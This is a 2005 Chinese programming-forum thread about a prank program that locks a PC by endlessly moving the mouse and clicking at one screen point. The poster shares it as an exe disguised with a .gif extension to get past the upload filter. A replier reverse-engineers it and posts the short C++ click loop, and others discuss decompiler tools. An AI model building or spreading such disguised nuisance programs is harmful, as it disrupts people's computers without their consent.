starson 发表于 2005-6-23 13:50:00

一个小程序,包你死机(提供原代码)

    刚刚做了个小程序,一运行一定死机。容量300多k吧。不过该程序不是致命,只要重起计算机就行了。
    当然如果谁还要更刺激的,也可以让它在启动系统时就自动运行。不过这样就太残忍了,只能重装系统才可能好。我也没法让它恢复。
    有兴趣的,我可以把程序发给你。记得在运行程序之前一定要先保存好重要文档,程序一运行就得重启,免得丢失自己正在做的文档。
记得回复哦
<img src="attachments/dvbbs/2005-6/2005623135630839.gif" border="0" onclick="zoom(this)" onload="if(this.width>document.body.clientWidth*0.5) {this.resized=true;this.width=document.body.clientWidth*0.5;this.style.cursor='pointer';} else {this.onclick=null}" alt="" />
这里可以直接下载,因为程序是exe结尾的,论坛不让上传,所以我把程序的后缀改成.gif了。大家可以直接点右键把图片另存为。之后把文件后缀改回为exe就能执行了
[此贴子已经被作者于2005-6-23 16:01:23编辑过]

starson 发表于 2005-6-23 15:59:00

<P>有兴趣的记得回帖啊。要原代码的,也可以向我拿。</P>

柠天欣 发表于 2005-6-24 14:36:00

恐怖的地点

夜编程 发表于 2005-6-27 09:05:00

不得不说这是一个很垃圾的程序。要实现这么一个简单的功能居然编了一个300多K的程序。不就要10来行的代码吗?要做成DLL,只要两行代码就够了。

夜编程 发表于 2005-6-27 09:44:00

<P>逆向出来了,也就只是一个死循环,把鼠标移到屏幕的右下角,然后拼命地点那儿,CPU占用率几乎100%,算不上死机,做得很垃圾的一个程序,DELPHI的程序真是恐怖啊,这么一个简单的功能编译出来居然有300多K。</P><P>代码如下(C++ API):</P><P>DWORD dwX = 0x00000400;//1024楼猪给它定了个死值,认为屏幕一定是1024*800的。
DWORD dwY = 0x00000320;//800
while (TRUE)
{
      ::SetCursorPos(dwX, dwY);
      mouse_event(MOUSEEVENTF_LEFTDOWN, dwX, dwY, 0, 0);
      mouse_event(MOUSEEVENTF_LEFTUP, dwX, dwY, 0, 0);
}</P>

len4090 发表于 2005-6-27 09:45:00

<P>汗!好事不做!还做坏事?</P>

夜编程 发表于 2005-6-27 09:52:00

<P>楼上的,我技术还可以吧?呵呵,这个也就是楼猪的代码,只不过他是用DELPHI,我是用VC</P>

len4090 发表于 2005-6-27 13:11:00

我晕!你们啊!哎!没话说!

夜编程 发表于 2005-6-27 15:16:00

<P>我又没做坏事,我只是对楼猪的程序做了个逆向而已</P>

len4090 发表于 2005-6-27 17:27:00

<P>那到也是!楼主坏蛋!呵呵</P>

游侠无极限 发表于 2005-6-27 18:59:00

<P>好像之前有个类似这样的死机代码:</P><P>while(1)</P><P>{</P><P>printf("\n\t");</P><P>}</P>

len4090 发表于 2005-6-27 20:30:00

<P>我汗!怎么多来了!</P>

天之血痕 发表于 2005-6-27 21:11:00

<P>呵呵 看到不明程序 不运行 就ok了~!</P><P>或者用最新带有病毒防护的cpu 也可以防止 死循环死机~!</P>

游侠无极限 发表于 2005-6-27 21:15:00

这个程序我放到虚拟机里试的,就是虚拟机变的很卡……,鼠标无法正常选中

starson 发表于 2005-7-1 15:21:00

<P>这程序原理:就是使鼠标一直单击造成无法人工操作,本身计算机并没死机,只是人工用不了罢了,但这已经达到效果了。</P><P>鼠标位置是无所谓的。</P><P>程序就两行关键,是随便编的并不求程序容量最小。</P><P>不过,说实话,我本人比较佩服   夜编程 </P><P>你用VC 的啊。好东西。</P><P>还有反编译的程序夜编程你有吗,能否说说哪里有的下。</P>

游侠无极限 发表于 2005-7-1 15:34:00

你如果是用Delphi的话,用DEde最好了

笑靥千秋 发表于 2005-7-1 15:53:00

看看真是恐怖

len4090 发表于 2005-7-1 18:49:00

呵呵

夜编程 发表于 2005-7-3 12:48:00

<P>To starson:</P><P>做逆向,我一般用动态的。静态反编译Delphi的程序我用DEDE,VB的程序用SC,VC的程序我用W32DASM,但在动态调试如脱壳或跟踪,我都用OD,有机会可以试试SoftICE</P>

len4090 发表于 2005-7-3 15:50:00

晕了!
页: [1] 2
查看完整版本: 一个小程序,包你死机(提供原代码)